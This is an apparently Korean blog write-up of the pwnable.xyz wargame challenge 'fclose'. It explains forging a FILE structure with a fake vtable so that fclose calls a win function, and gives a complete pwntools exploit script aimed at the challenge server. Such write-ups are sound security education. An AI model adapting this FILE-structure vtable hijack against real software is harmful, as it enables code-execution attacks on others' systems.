본문으로 바로가기

pwnable.xyz / fclose

category Wargame/pwnable.xyz 2020. 1. 18. 01:41

FILE 구조체를 이해하고 있어야 풀 수 있다.

 

  read(0, &input, 0x404uLL);
  fclose(&input);

 

임의의 FILE 구조체를 만들 수 있고, 그것을 fclose로 닫는다. fake vtable을 구성하고 vtable->__finish를 win으로 바꾸면 된다.

적절한 _lock을 설정하지 않으면 segfault가 발생하므로 lock object를 0x601800에 설정했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
args = parser.parse_args()

if args.remote :
    p = connect('svc.pwnable.xyz'30018)
else :
    p = process('./challenge')


def exploit() :
    _input = 0x601260

    payload = p64(0)*17
    payload += p64(0x601800)
    payload += p64(0)*9
    payload += p64(_input+0xE0)
    payload += p64(0)*2
    payload += p64(0x4007EC)

    p.write(payload)

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

 

 

Last update: 4/8/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / attack  (0) 2020.04.08
pwnable.xyz / rwsr  (0) 2020.01.20
pwnable.xyz / message  (0) 2020.01.17
pwnable.xyz / UAF  (0) 2020.01.17
pwnable.xyz / iape  (0) 2020.01.16